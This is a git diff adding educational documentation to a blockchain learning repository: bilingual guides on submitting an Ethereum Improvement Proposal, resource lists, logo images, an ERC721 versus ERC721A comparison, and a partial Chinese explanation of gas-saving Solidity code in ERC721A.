+- **MyCrypto**: 开源钱包管理工具，支持以太坊地址的管理 <https://mycrypto.com/>  
+- **Blocknative**: 提供交易通知、钱包 SDK 和 Gas 优化工具 <https://www.blocknative.com/>  
+- **Flashbots**: 提高交易透明度和减少 MEV（矿工可提取价值）影响的工具 <https://flashbots.net/>  
+- **Dune Analytics**: 可视化和分析区块链数据的平台 <https://dune.com/>  
+- **The Graph**: 去中心化数据索引协议，用于 DApp 快速查询链上数据 <https://thegraph.com/>  
+
diff --git a/docs/how-to-add-proposal-to-etereum-community-en.md b/docs/how-to-add-proposal-to-etereum-community-en.md
new file mode 100644
index 000000000..7eb6fee3f
--- /dev/null
+++ b/docs/how-to-add-proposal-to-etereum-community-en.md
@@ -0,0 +1,76 @@
+# How to Submit a Proposal to the Ethereum Community
+
+## Preface
+
++ The Ethereum community needs to be built, and early builders will receive real value in return.
++ Much of the creativity of other public chains relies on the Ethereum community, which is the vitality of the Ethereum community.
++ Besides trading tokens, supporting or participating in the planning and construction of the community is very valuable.
++ EIP (Ethereum Improvement Proposal) is used to discuss any interesting suggestions. EIP-721, which is NFT, is one of the EIPs, coming from Lara Labs.
+
+## Resources
+
++ URL: https://github.com/ethereum/EIPs/issues/new
++ Template: https://github.com/ethereum/EIPs/blob/master/eip-template.md
+
+## Notes
+
++ First, read EIP-1 in depth: https://eips.ethereum.org/EIPS/eip-1
+
++ Key points are listed below.
+
++ ATTENTION! If you would like to submit an EIP and it has already been written as a draft (see the [template](https://github.com/ethereum/EIPs/blob/master/eip-template.md) for an example), please submit it as a [Pull Request](https://github.com/ethereum/EIPs/pulls).
+
++ If you are considering a proposal but would like to get some feedback on the idea before submitting a draft, then continue opening an Issue as a thread for discussion. Note that the more clearly and completely you state your idea the higher the quality of the feedback you are likely to receive.
+
+  Keep in mind the following guidelines from [EIP-1](./eip-1.md):
+
+  > Each EIP must have a champion - someone who writes the EIP using the style and format described below, shepherds the discussions in the appropriate forums, and attempts to build community consensus around the idea. The EIP champion (a.k.a. Author) should first attempt to ascertain whether the idea is EIP-able. Posting to the Protocol Discussion forum or opening an Issue is the best way to go about this.
+
+  > Vetting an idea publicly before going as far as writing a EIP is meant to save the potential author time. Asking the Ethereum community first if an idea is original helps prevent too much time being spent on something that is guaranteed to be rejected based on prior discussions (searching the Internet does not always do the trick). It also helps to make sure the idea is applicable to the entire community and not just the author. Just because an idea sounds good to the author does not mean it will work for most people in most areas where Ethereum is used.
+
+  > Once the champion has asked the Ethereum community as to whether an idea has any chance of acceptance, a draft EIP should be presented as a Pull Request. This gives the author a chance to flesh out the draft EIP to make properly formatted, of high quality, and to address initial concerns about the proposal.
+
+## Explanation
+
++ A proposal first comes from some context and ideas, thoughts, most of which come from problems and difficulties encountered in actual work and development, finding that Ethereum needs to be improved.
++ For example, community projects participating in the metaverse construction process find that defining a set of standards would be more conducive to development. Contributing these standards to the community can help others improve efficiency and enhance interaction efficiency with each other.
++ The EIP submission process provides standards for how to explain things clearly and comprehensively.
+
+### Discussion
+
++ First, there needs to be a champion, which is the main author.
++ Then discuss in the corresponding community, usually by creating an issue on GitHub (such as 721's https://github.com/ethereum/eips/issues/721) or a forum post: [the Ethereum Magicians forum](https://ethereum-magicians.org/).
++ The discussion process needs to ascertain whether the idea is EIP-able, whether it is worth and able to establish an EIP.
++ Additionally, before writing an EIP, it's best to publicly discuss the idea and ask the Ethereum community if it's feasible, which can prevent wasting too much time on unnecessary ideas.
++ PS: The readme of the Magicians forum: https://ethereum-magicians.org/t/welcome-please-readme-first/8, you'll find that it takes a lot of time to browse around and get familiar with the rules.
++ If after inquiring and discussing with the community, your post is considered to have a chance of acceptance, then submit a proposal draft.
+
+### Draft
+
++ Fork the EIP repository, like I did: ![fork](https://tva1.sinaimg.cn/large/e6c9d24ely1h0ymse1599j21zw0g2acq.jpg)
++ Use the [template](https://github.com/ethereum/EIPs/blob/master/eip-template.md) to write your EIP. There are a lot of concepts in it, but just write it first.
++ After completing the draft, submit a Pull Request, yes, the legendary PR, haha.
++ After submission, it will be reviewed, such as Dr. Zhou's EIP4972: https://github.com/ethereum/EIPs/pull/4972
+
+### Status
+
++ After submitting the PR, the core review group in the community: This PR requires review from one of [[@lightclient](https://github.com/lightclient), [@axic](https://github.com/axic), [@SamWilsn](https://github.com/SamWilsn)]
++ Repeatedly communicate about format and expression until the draft is merged, then it enters the EIP status list.
++ The status list is complex
++ [Status](https://github.com/qizhou/EIPs/blob/master/assets/eip-1/EIP-process-update.jpg)
++ The core is: Idea-->Draft-->Review<-->Last Call-->Final
++ Review will enter the Living state, with repeated iterations and modifications
++ It may also enter the Stagnant state.
+
+### Other
+
++ Ethereum working PM meetings: https://github.com/ethereum/pm, including agenda, records, corresponding Twitter records, and videos.
++ For example, the record of the most recent meeting: https://github.com/ethereum/pm/blob/master/AllCoreDevs-Meetings/Meeting%20134.md
++ Progress on Kiln and beacon chain, etc. Currently, I'm not sure if one can add their own agenda and participate in meetings without invitation, it seems like you need to become a PM?
++ This article will be published in the Dapp Learning community: https://github.com/Dapp-Learning-DAO/Dapp-Learning, as well as personal Blog (jLab.tech)
+
+## How to Write an EIP? See the Next Article
+
+
+
+
diff --git a/docs/how-to-add-proposal-to-etereum-community.md b/docs/how-to-add-proposal-to-etereum-community.md
new file mode 100644
index 000000000..ee129e5bc
--- /dev/null
+++ b/docs/how-to-add-proposal-to-etereum-community.md
@@ -0,0 +1,77 @@
+how-to-add-proposal-to-etereum-community
+## 如何向以太坊社区提交一个EIP？
+
+### 前言
+
++ 以太坊社区需要构建，早期建设者会得到真实的价值回报。
++ 其他公链创造力很多是依靠以太坊社区，这也是以太坊社区的生命力所在。
++ 除了炒币，支持或者参与创造到社区的规划和建设中来，是非常有价值的。
++ EIP是以太坊提升提案，用来讨论任何有意思的建议，EIP721也就是NFT是之EIP一，来自于Lara Labs。
+
+### 资源
+
++ URL：https://github.com/ethereum/EIPs/issues/new
++ 模板：https://github.com/ethereum/EIPs/blob/master/eip-template.md
+
+### 注意事项
+
++ 首先深度阅读EIP-1:https://eips.ethereum.org/EIPS/eip-1
+
++ 要点下面会列出。
+
++ 注意！如果您想提交一个EIP，并且已经将其写成草稿（参见[模板](https://github.com/ethereum/EIPs/blob/master/eip-template.md)作为示例），请将其作为[Pull Request](https://github.com/ethereum/EIPs/pulls)提交。
+
++ 如果您正在考虑一个提案，但希望在提交草稿之前获得关于这个想法的一些反馈，那么请继续开一个Issue作为讨论的线程。请注意，您陈述想法的越清晰和完整，您可能收到的反馈质量就越高。
+
+  请记住[EIP-1](./eip-1.md)中的以下指导原则：
+
+  > 每个EIP必须有一个倡导者 - 即使用下面描述的风格和格式撰写EIP，在适当的论坛中引导讨论，并尝试围绕这个想法建立社区共识的人。EIP倡导者（也称为作者）首先应该确定这个想法是否适合成为EIP。在协议讨论论坛上发帖或开一个Issue是最好的方式。
+
+  > 在写EIP之前公开审查一个想法是为了节省潜在作者的时间。首先询问以太坊社区一个想法是否原创，有助于防止在保证会被拒绝的事情上花费太多时间（搜索互联网并不总是能解决问题）。这也有助于确保这个想法适用于整个社区，而不仅仅是作者。仅仅因为一个想法对作者来说听起来不错，并不意味着它对大多数使用以太坊的人在大多数领域都有效。
+
+  > 一旦倡导者已经询问了以太坊社区关于一个想法是否有被接受的可能性，就应该以Pull Request的形式提交一个EIP草稿。这给了作者一个机会来充实EIP草稿，使其格式正确，质量高，并解决关于提案的初步担忧。
+
+### 解释
+
++ 提案首先是有了一些上下文和想法，思考，大多数来自于实际的工作和开发中遇到的问题和困难，发现需要改进以太坊会更好。
++ 例如社区项目在参与到元宇宙建设过程中，发现如果定义一套标准，会更有利于开发，而这套标准贡献给社区，能够帮助别人提升效率，也可以提升彼此的交互效率。
++ EIP的提交过程，提供了如何说清楚、说明白的标准。
+
+#### 讨论
+
++ 首先要有一个champion，也就是主笔作者。
++ 然后在对应社区讨论，一般是github上建立一个issue（例如721的https://github.com/ethereum/eips/issues/721）或者一个论坛帖子：[the Ethereum Magicians forum](https://ethereum-magicians.org/)。
++ 讨论过程需要ascertain whether the idea is EIP-able，是不是值得和能够去建立一个EIP。
++ 另外，在写一个EIP之前，最好公开的讨论这个idea，询问以太坊社区是否可行，可以防止浪费太多时间在不必要的idea。
++ PS: 魔法师论坛的readme：https://ethereum-magicians.org/t/welcome-please-readme-first/8，发现需要很多时间逛一逛，熟悉规则。
++ 如果询问和讨论社区后，你的帖子大家觉得有机会接受，则提交一个提案草稿。
+
+#### 草稿
+
++ Fork EIP库，像我这样：![fork](https://tva1.sinaimg.cn/large/e6c9d24ely1h0ymse1599j21zw0g2acq.jpg)
++ 使用模板[template](https://github.com/ethereum/EIPs/blob/master/eip-template.md) 撰写你的EIP，这里面有一大堆的概念，但先写再说。
++ 完成草稿后，提交一个Pull Request，嗯，就是传说中的PR，哈哈。
++ 提交后会被review，例如周博士的EIP4972:https://github.com/ethereum/EIPs/pull/4972
+
+#### 状态
+
++ 提交PR后，社区核心审核人群：This PR requires review from one of [[@lightclient](https://github.com/lightclient), [@axic](https://github.com/axic), [@SamWilsn](https://github.com/SamWilsn)]
++ 反复沟通格式、表述，直到草稿被merge，则进入了EIP的状态列表。
++ 状态列表很复杂
++ [Status](https://github.com/qizhou/EIPs/blob/master/assets/eip-1/EIP-process-update.jpg)
++ 核心是：Idea-->Draft-->Review<-->Last Call-->Final
++ Review会进入Living状态，反复迭代修改
++ 也可能进入Stagnant的停滞状态。
+
+#### 其他
+
++ 以太坊工作PM会议：https://github.com/ethereum/pm，包括议程，记录，对应twitter记录和视频。
++ 例如最近一次会议讨论记录：https://github.com/ethereum/pm/blob/master/AllCoreDevs-Meetings/Meeting%20134.md
++ Kiln和beacon chain的进展等等，目前我个人不清楚是否可以未经邀请去添加自己的agenda以及参与会议，看起来需要成为pm？。
++ 本文会发布在Dapp Learning社区:https://github.com/Dapp-Learning-DAO/Dapp-Learning，以及个人Blog(jLab.tech)
+
+### 如何撰写一个EIP？请看下一篇文章
+
+
+
+
diff --git a/docs/imgs/Defi-Roadmap.png b/docs/imgs/Defi-Roadmap.png
new file mode 100644
index 000000000..67371aa7a
Binary files /dev/null and b/docs/imgs/Defi-Roadmap.png differ
diff --git a/docs/imgs/ESP-01.jpg b/docs/imgs/ESP-01.jpg
new file mode 100644
index 000000000..e8094f6cf
Binary files /dev/null and b/docs/imgs/ESP-01.jpg differ
diff --git a/docs/imgs/ESP-02.jpg b/docs/imgs/ESP-02.jpg
new file mode 100644
index 000000000..cd6323508
Binary files /dev/null and b/docs/imgs/ESP-02.jpg differ
diff --git a/docs/imgs/defi.jpg b/docs/imgs/defi.jpg
new file mode 100644
index 000000000..be1f66f48
Binary files /dev/null and b/docs/imgs/defi.jpg differ
diff --git a/docs/imgs/partners/BTCU-logo.png b/docs/imgs/partners/BTCU-logo.png
new file mode 100644
index 000000000..2cd99fe64
Binary files /dev/null and b/docs/imgs/partners/BTCU-logo.png differ
diff --git a/docs/imgs/partners/ECN-logo.png b/docs/imgs/partners/ECN-logo.png
new file mode 100644
index 000000000..33cfeef37
Binary files /dev/null and b/docs/imgs/partners/ECN-logo.png differ
diff --git a/docs/imgs/partners/PKU-logo.png b/docs/imgs/partners/PKU-logo.png
new file mode 100644
index 000000000..0c08c14c8
Binary files /dev/null and b/docs/imgs/partners/PKU-logo.png differ
diff --git a/docs/imgs/partners/THUBA-logo.png b/docs/imgs/partners/THUBA-logo.png
new file mode 100644
index 000000000..2c853989c
Binary files /dev/null and b/docs/imgs/partners/THUBA-logo.png differ
diff --git a/docs/imgs/partners/ethplanet-logo.png b/docs/imgs/partners/ethplanet-logo.png
new file mode 100644
index 000000000..1c45444aa
Binary files /dev/null and b/docs/imgs/partners/ethplanet-logo.png differ
diff --git a/docs/imgs/partners/learnblockchain-logo.png b/docs/imgs/partners/learnblockchain-logo.png
new file mode 100644
index 000000000..420e84830
Binary files /dev/null and b/docs/imgs/partners/learnblockchain-logo.png differ
diff --git a/docs/imgs/sponsor-partners/BingVentures-logo.png b/docs/imgs/sponsor-partners/BingVentures-logo.png
new file mode 100644
index 000000000..8082483ab
Binary files /dev/null and b/docs/imgs/sponsor-partners/BingVentures-logo.png differ
diff --git a/docs/imgs/sponsor-partners/BingX-logo.png b/docs/imgs/sponsor-partners/BingX-logo.png
new file mode 100644
index 000000000..45e7ea2b5
Binary files /dev/null and b/docs/imgs/sponsor-partners/BingX-logo.png differ
diff --git a/docs/imgs/sponsor-partners/DRK-lab-logo.png b/docs/imgs/sponsor-partners/DRK-lab-logo.png
new file mode 100644
index 000000000..c54e34aaf
Binary files /dev/null and b/docs/imgs/sponsor-partners/DRK-lab-logo.png differ
diff --git a/docs/imgs/sponsor-partners/Degate-logo.png b/docs/imgs/sponsor-partners/Degate-logo.png
new file mode 100644
index 000000000..7aae09ead
Binary files /dev/null and b/docs/imgs/sponsor-partners/Degate-logo.png differ
diff --git a/docs/imgs/sponsor-partners/EthStorage-logo.png b/docs/imgs/sponsor-partners/EthStorage-logo.png
new file mode 100644
index 000000000..4d88457ce
Binary files /dev/null and b/docs/imgs/sponsor-partners/EthStorage-logo.png differ
diff --git a/docs/imgs/sponsor-partners/Hashkey-logo.png b/docs/imgs/sponsor-partners/Hashkey-logo.png
new file mode 100644
index 000000000..d7645ef16
Binary files /dev/null and b/docs/imgs/sponsor-partners/Hashkey-logo.png differ
diff --git a/docs/imgs/sponsor-partners/Loopring-logo.png b/docs/imgs/sponsor-partners/Loopring-logo.png
new file mode 100644
index 000000000..a42cf362b
Binary files /dev/null and b/docs/imgs/sponsor-partners/Loopring-logo.png differ
diff --git a/docs/imgs/sponsor-partners/MapProtocol-logo.png b/docs/imgs/sponsor-partners/MapProtocol-logo.png
new file mode 100644
index 000000000..7c5580f40
Binary files /dev/null and b/docs/imgs/sponsor-partners/MapProtocol-logo.png differ
diff --git a/docs/imgs/sponsor-partners/Mina-logo.png b/docs/imgs/sponsor-partners/Mina-logo.png
new file mode 100644
index 000000000..8bae4bb18
Binary files /dev/null and b/docs/imgs/sponsor-partners/Mina-logo.png differ
diff --git a/docs/imgs/sponsor-partners/OP-logo.png b/docs/imgs/sponsor-partners/OP-logo.png
new file mode 100644
index 000000000..67ecba8f5
Binary files /dev/null and b/docs/imgs/sponsor-partners/OP-logo.png differ
diff --git a/docs/imgs/sponsor-partners/SNZ-logo.png b/docs/imgs/sponsor-partners/SNZ-logo.png
new file mode 100644
index 000000000..1f7cf178a
Binary files /dev/null and b/docs/imgs/sponsor-partners/SNZ-logo.png differ
diff --git a/docs/imgs/sponsor-partners/Scroll-logo.png b/docs/imgs/sponsor-partners/Scroll-logo.png
new file mode 100644
index 000000000..02c7112ba
Binary files /dev/null and b/docs/imgs/sponsor-partners/Scroll-logo.png differ
diff --git a/docs/imgs/sponsor-partners/ethereum-foundation-logo.png b/docs/imgs/sponsor-partners/ethereum-foundation-logo.png
new file mode 100644
index 000000000..f3ab0ce6b
Binary files /dev/null and b/docs/imgs/sponsor-partners/ethereum-foundation-logo.png differ
diff --git a/docs/imgs/sponsor-partners/nervos-logo.png b/docs/imgs/sponsor-partners/nervos-logo.png
new file mode 100644
index 000000000..f79851672
Binary files /dev/null and b/docs/imgs/sponsor-partners/nervos-logo.png differ
diff --git a/docs/imgs/sponsor-partners/plancker-logo.png b/docs/imgs/sponsor-partners/plancker-logo.png
new file mode 100644
index 000000000..1eac6ed23
Binary files /dev/null and b/docs/imgs/sponsor-partners/plancker-logo.png differ
diff --git a/docs/imgs/sponsor-partners/starknet-logo.png b/docs/imgs/sponsor-partners/starknet-logo.png
new file mode 100644
index 000000000..594503c1a
Binary files /dev/null and b/docs/imgs/sponsor-partners/starknet-logo.png differ
diff --git a/docs/imgs/wechat-group-helper.png b/docs/imgs/wechat-group-helper.png
new file mode 100644
index 000000000..954d3c4c4
Binary files /dev/null and b/docs/imgs/wechat-group-helper.png differ
diff --git a/docs/relative-projects-en.md b/docs/relative-projects-en.md
new file mode 100644
index 000000000..4d1ffa1da
--- /dev/null
+++ b/docs/relative-projects-en.md
@@ -0,0 +1,25 @@
+## Derivative project
+- [Dapp-Learning-Arsenal](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal): Project Arsenal, Good links, documents, PDF, XMIND large files can be put in this project, Newcomers don't know where to put the link in the DAPP learning project, you can also put this project directly, there are small partners to collect in the follow-up
+- [Dapp-Learning-Sourcecred](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Sourcecred): Project contribution list, Recording developer contributions, as well as distributing rewards, is one of the DAO governance project tools
+- [Dapp-Learning-MOH](https://github.com/Dapp-Learning-DAO/Dapp-Learning-MOH): Project Medal of Honor，each participant was given an NFT souvenir.
+
+## Maintenance items together
+
+- [amm-arbitrageur](https://github.com/paco0x/amm-arbitrageur): AMM Example arbitrage Strategy
+
+
+## Contract reference library and pay tribute to related projects
+
+- Classic contract Library - <https://github.com/OpenZeppelin/openzeppelin-contracts>
+- Contract safe library - <https://github.com/ConsenSys/smart-contract-best-practices>
+- Dapp Scaffolding - <https://github.com/austintgriffith/scaffold-eth>
+- Contract tutorial - <https://github.com/HQ20/contracts>
+- Blockchain Tutorial - <https://learnblockchain.cn/>
+- Cryptography course - <https://live.csdn.net/list/Kevin_M_00>
+- DeFi course - <https://github.com/OffcierCia/DeFi-Developer-Road-Map>
+- Solidity Getting Started tutorial - <https://github.com/liushooter/learn-blockchain/tree/master/learning-solidity-2018>
+- Awesome Solidity - <https://github.com/bkrem/awesome-solidity>
+- Solidity Learning - <https://github.com/willitscale/learning-solidity>
+
+## List of hands-on demonstration projects
+  The development group regularly shares the practical demonstration of classic projects, Welcome to join the project you want to practice, Please refer to [documentation](./docs/dapp-demo.md)
\ No newline at end of file
diff --git a/docs/relative-projects.md b/docs/relative-projects.md
new file mode 100644
index 000000000..2cca8c50b
--- /dev/null
+++ b/docs/relative-projects.md
@@ -0,0 +1,28 @@
+中文 / [English](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/docs/relative-projects-en.md)
+
+## 衍生项目
+- [Dapp-Learning-Arsenal](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal): 项目军火库，不错的链接，文档，pdf，xmind大文件都可以放在此项目，新人不知道放链接到Dapp-Learning哪里，也可以直接放此项目，后续有小伙伴收录进Dapp-Learning。
+- [Dapp-Learning-Sourcecred](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Sourcecred): 项目贡献榜，记录开发者贡献值，以及分发奖励，dao治理项目的工具之一。
+- [Dapp-Learning-MOH](https://github.com/Dapp-Learning-DAO/Dapp-Learning-MOH) : 项目荣誉勋章，给每位参与者发放nft纪念。
+
+## 共同维护项目
+
+- [amm-arbitrageur](https://github.com/paco0x/amm-arbitrageur): AMM 套利策略示例
+
+
+## 合约参考库及致敬相关项目
+
+- 经典合约库 - <https://github.com/OpenZeppelin/openzeppelin-contracts>
+- 合约安全库 - <https://github.com/ConsenSys/smart-contract-best-practices>
+- Dapp 脚手架 - <https://github.com/austintgriffith/scaffold-eth>
+- 合约教程 - <https://github.com/HQ20/contracts>
+- 区块链教程 - <https://learnblockchain.cn/>
+- 密码学课程 - <https://live.csdn.net/list/Kevin_M_00>
+- DeFi 教程 - <https://github.com/OffcierCia/DeFi-Developer-Road-Map>
+- Solidity 入门教程 - <https://github.com/liushooter/learn-blockchain/tree/master/learning-solidity-2018>
+- Awesome Solidity - <https://github.com/bkrem/awesome-solidity>
+- Solidity Learning - <https://github.com/willitscale/learning-solidity>
+- BTCstudy - <https://www.btcstudy.org/archives/>
+- defiBot - <https://github.com/ExtropyIO/defi-bot>
+## 实操演示项目列表
+  开发群定期分享经典项目实操演示，欢迎添加你想实操演示的项目，请参考[文档](./docs/dapp-demo.md)
\ No newline at end of file
diff --git a/funding.json b/funding.json
new file mode 100644
index 000000000..4cfb8b7e7
--- /dev/null
+++ b/funding.json
@@ -0,0 +1,5 @@
+{
+  "opRetro": {
+    "projectId": "0x4d926f7d302cbb95fe37487892a49b0b6240601e3a84023f8a1518678d6e6dbe"
+  }
+}
diff --git a/nft/ERC721A/Comparative.md b/nft/ERC721A/Comparative.md
new file mode 100644
index 000000000..7e8f484a4
--- /dev/null
+++ b/nft/ERC721A/Comparative.md
@@ -0,0 +1,61 @@
+### **ERC721 与 ERC721A 的对比分析**
+
+以下是 ERC721 和 ERC721A 的详细对比，从功能、性能、存储优化、复杂性等方面进行了深入分析：
+
+
+
+| **特性**                 | **ERC721**                                      | **ERC721A**                                                                                         |
+|--------------------------|-------------------------------------------------|----------------------------------------------------------------------------------------------------|
+| **批量铸造支持**         | 不支持，需逐个调用 `_mint`                      | 支持批量铸造，通过优化算法，一次调用即可完成多 NFT 的铸造                                          |
+| **算法复杂度**           | \(O(N)\)，逐个 NFT 铸造和存储操作               | \(O(1)\)，批量更新持有人和存储信息，优化了大规模铸造的性能                                          |
+| **存储机制**             | 每个 `tokenId` 都存储独立的 `owner` 信息        | 仅存储第一个 `tokenId` 的 `owner` 信息，后续的 `tokenId` 默认为同一地址直到发生变更                  |
+| **Gas 成本**             | 每个 NFT 的铸造成本较高，需更新多个存储变量      | 显著降低批量铸造的 Gas 成本，尤其是在生成大批量 NFT 时效果显著                                      |
+| **转移性能**             | 单个转移效率高，更新对应 `tokenId` 的 `owner` 信息 | 单个转移需额外处理稀疏存储区间（如更新下一个 `tokenId` 的 `owner`），但批量铸造后的稀疏存储优化了存储操作 |
+| **批量转移**             | 需要逐个转移，性能受限                          | 支持批量转移，但性能与实现逻辑有关，无法完全达到批量铸造的优化效果                                  |
+| **所有权查询**           | 查询效率较高，直接访问 `_owners[tokenId]`       | 查询需处理稀疏存储，通过递减遍历找到最近的 `owner` 信息                                             |
+| **事件兼容性**           | 满足 EIP721 的 `Transfer` 事件标准              | 满足标准，批量铸造时会为每个 `tokenId` 发出单独的 `Transfer` 事件                                   |
+| **存储消耗**             | 每个 `tokenId` 都记录独立的存储                 | 减少了存储消耗，仅在必要时更新 `_owners` 和 `_balances`                                             |
+| **枚举方法（tokenOfOwnerByIndex）** | 基于全局 mapping 实现，性能较高              | 需遍历所有 `tokenId` 以确定归属，复杂度为 \(O(N)\)                                                  |
+| **适用场景**             | 适用于小批量、高频转移的 NFT 项目               | 适用于大批量生成的 NFT 项目，如 PFP 系列或游戏资产发行                                              |
+| **实现复杂度**           | 简单直接，适合新手开发                         | 实现复杂度更高，需精确管理稀疏存储和动态查询逻辑                                                    |
+
+---
+
+### **关键差异分析**
+
+1. **批量铸造性能**
+   - **ERC721**：每次铸造需独立调用 `_mint` 方法，更新所有者信息和余额，性能受限，Gas 成本随着铸造数量线性增长。
+   - **ERC721A**：通过批量处理仅更新必要的存储信息，使得铸造复杂度降低为 \(O(1)\)，在大批量铸造中优势显著。
+
+2. **存储优化**
+   - **ERC721**：每个 `tokenId` 都需要独立存储 `owner` 信息，增加了存储成本。
+   - **ERC721A**：仅存储批量铸造中第一个 `tokenId` 的 `owner` 信息，后续 `tokenId` 使用稀疏存储机制，大幅减少存储消耗。
+
+3. **转移操作**
+   - **ERC721**：直接更新对应的 `tokenId` 信息，操作简单高效。
+   - **ERC721A**：需在转移后处理稀疏存储的边界条件，例如更新下一个 `tokenId` 的所有者信息，增加了复杂性。
+
+4. **所有权查询**
+   - **ERC721**：直接读取 `_owners[tokenId]`，查询效率较高。
+   - **ERC721A**：需通过递减遍历找到最近的 `owner` 信息，查询复杂度较高，但仍在可接受范围内。
+
+5. **适用场景**
+   - **ERC721**：更适合小批量、高频转移的 NFT 项目，如独特艺术品或小规模发行的收藏品。
+   - **ERC721A**：更适合大规模、批量发行的 NFT 项目，如 PFP 系列（头像项目）或游戏资产，因其能显著节省 Gas 成本。
+
+
+
+### **适用建议**
+
+| 项目类型                              | 推荐标准                          |
+|---------------------------------------|-----------------------------------|
+| 独特艺术品或小批量 NFT 项目           | **ERC721**，因其简单直观且转移性能更优 |
+| PFP 项目（头像项目）或大规模 NFT 项目 | **ERC721A**，因其批量铸造性能更优     |
+| 需要高频转移和复杂逻辑的项目           | **ERC721**，便于实现和维护            |
+| 关注 Gas 成本和存储优化的项目          | **ERC721A**，能显著降低铸造成本       |
+
+
+
+### **总结**
+
+ERC721A 的设计显著优化了批量铸造场景的性能和存储成本，特别适用于需要大量生成 NFT 的项目。然而，其实现复杂性和高频操作场景的性能限制需要在实际开发中仔细权衡。开发者可根据项目特点选择适合的标准，并结合两者的优点构建更高效的解决方案。
\ No newline at end of file
diff --git a/nft/ERC721A/ERC721A-Nov16-2022.md b/nft/ERC721A/ERC721A-Nov16-2022.md
new file mode 100644
index 000000000..aed1a1a60
--- /dev/null
+++ b/nft/ERC721A/ERC721A-Nov16-2022.md
@@ -0,0 +1,220 @@
+# ERC721A-2022-Nov版本节省gas的细节更新
+看本文之前请先阅读[链接](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/nft/ERC721A/ERC721A.md#erc721a%E7%9A%84%E6%94%B9%E8%BF%9B
+)
+
+code : https://github.com/chiru-labs/ERC721A/blob/0476a00259b5b3ec39fd8e01300b2ff5f2276e7b/contracts/ERC721A.sol
+## 如何节省event燃气费(mint为例)
+
+### 定义
+```solidity
+event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
+```
+
+### 以前调用
+```solidity
+emit Transfer(address(0), toMasked, startTokenId);
+```
+### 节省调用
+
+定义常量: 
+
+_TRANSFER_EVENT_SIGNATURE = `keccak256("Transfer(address,address,uint256)")`
+
+因为这里三个参数都是`索引`, 因此调用`log4`, 并且因为没有其他非索引参数, 这里data部分传入0,0
+
+```solidity
+asssembly{
+  log4(
+      0, // Start of data (0, since no data).
+      0, // End of data (0, since no data).
+      _TRANSFER_EVENT_SIGNATURE, // Signature.签名是定义的时候生成的, 是transfer(address,address,uint256)这串产生的一个sha256
+      0, // `address(0)`.
+      toMasked, // `to`.
+      startTokenId // `tokenId`.
+  )
+}
+```
+
+
+## 如何节省修改状态变量燃气费(mint为例)
+
+### 以前调用
+```
+struct TokenOwnership {
+    address addr;
+    uint64 startTimestamp;
+}
+```
+```solidity
+_balances[to] += quantity;
+_numberMinted[to] += quantity;
+_ownerships[tokenId].addr = to;
+_ownerships[tokenId].startTimestamp  = uint64(block.timestamp);
+```
+
+### 节省gas调用
+修改数据定义
+```
+// Mapping owner address to address data.
+//
+// Bits Layout:
+// - [0..63]    `balance`
+// - [64..127]  `numberMinted`
+// - [128..191] `numberBurned`
+// - [192..255] `aux`
+mapping(address => uint256) private _packedAddressData;
+```
+```solidity
+// Bits Layout:
+// - [0..159]   `addr`
+// - [160..223] `startTimestamp`
+// - [224]      `burned`
+// - [225]      `nextInitialized`
+// - [232..255] `extraData`
+mapping(uint256 => uint256) private _packedOwnerships;
+```
+定义常量
+uint256 private constant _BITPOS_NUMBER_MINTED = 64;
+
+这里修改了两次状态变量, 但是修改了8条数据:
+* numberminted
+* balance
+* token归属权
+* 后面那个token数据是否已经初始化(0和1表示)
+* timestamp
+* 额外数据from是否为0
+* 额外数据to是否为0
+* 上一条额外数据
+```solidity
+// The mask of the lower 160 bits for addresses.
+uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1;
+
+function _mint(address to, uint256 quantity)internal{
+  //...
+  _packedAddressData[to] += quantity * ((1 << _BITPOS_NUMBER_MINTED) | 1);
+  _packedOwnerships[startTokenId] = _packOwnershipData(
+      to,
+      // 224位BURNED记录为0
+      // 225位_nextInitializedFlag(quantity)记录了下一个位置是否已经初始化(如果mint一个,那就是已经初始化, 否则就没有,这里只记录0或者1)
+      // 232...255记录_nextExtraData(address(0), to, 0)了额外数据
+      _nextInitializedFlag(quantity) | _nextExtraData(address(0), to, 0) 
+  );
+  //...
+}
+
+function _packOwnershipData(address owner, uint256 flags) private view returns (uint256 result) {
+    assembly {
+        // 一个地址只需要160, 256-160剩下是多余的可用空间        
+        owner := and(owner, _BITMASK_ADDRESS) // 这里做一下与运算, 以防万一, 把前面几位清空用来存时间戳
+        // `owner | (block.timestamp << _BITPOS_START_TIMESTAMP) | flags`.
+        // shl(x,y): 逻辑移位,将y左移x位
+        result := or(owner, or(shl(_BITPOS_START_TIMESTAMP, timestamp()), flags))
+    }
+}
+```
+举例子,假设`quantity = 10`
+
+`_packedAddressData[to] += 0x好多个零A000000000000000A`
+
+## transfer
+1. 如果是连续的mint的nft,要拿到连续的第一个的数据,如果不是连续的,则直接返回当前数据
+```solidity
+function _packedOwnershipOf(uint256 tokenId) private view returns (uint256 packed) {
+        if (_startTokenId() <= tokenId) {
+            packed = _packedOwnerships[tokenId];
+            // If not burned.
+            if (packed & _BITMASK_BURNED == 0) {
+                // 如果数据是空,说明是连续mint的,那么向前循环查找
+                if (packed == 0) {
+                    if (tokenId >= _currentIndex) revert OwnerQueryForNonexistentToken();
+                    // Invariant:
+                    // There will always be an initialized ownership slot
+                    // (i.e. `ownership.addr != address(0) && ownership.burned == false`)
+                    // before an unintialized ownership slot
+                    // (i.e. `ownership.addr == address(0) && ownership.burned == false`)
+                    // Hence, `tokenId` will not underflow.
+                    //
+                    // We can directly compare the packed value.
+                    // If the address is zero, packed will be zero.
+                    for (;;) {
+                        unchecked {
+                            packed = _packedOwnerships[--tokenId];
+                        }
+                        if (packed == 0) continue;
+                        return packed;
+                    }
+                }
+                //否则,说明数据存在并且没有被焚毁, 这里可以跳过循环
+                // 这里可以节省2143个gas在那些已经初始化的token转账上(因为不用循环了)
+                return packed;
+            }
+        }
+        revert OwnerQueryForNonexistentToken();
+    }
+```
+
+```solidity
+function transferFrom(
+    address from,
+    address to,
+    uint256 tokenId
+) public payable virtual override {
+    uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);
+    // ...一些授权的代转账操作省略
+
+    // Underflow of the sender's balance is impossible because we check for
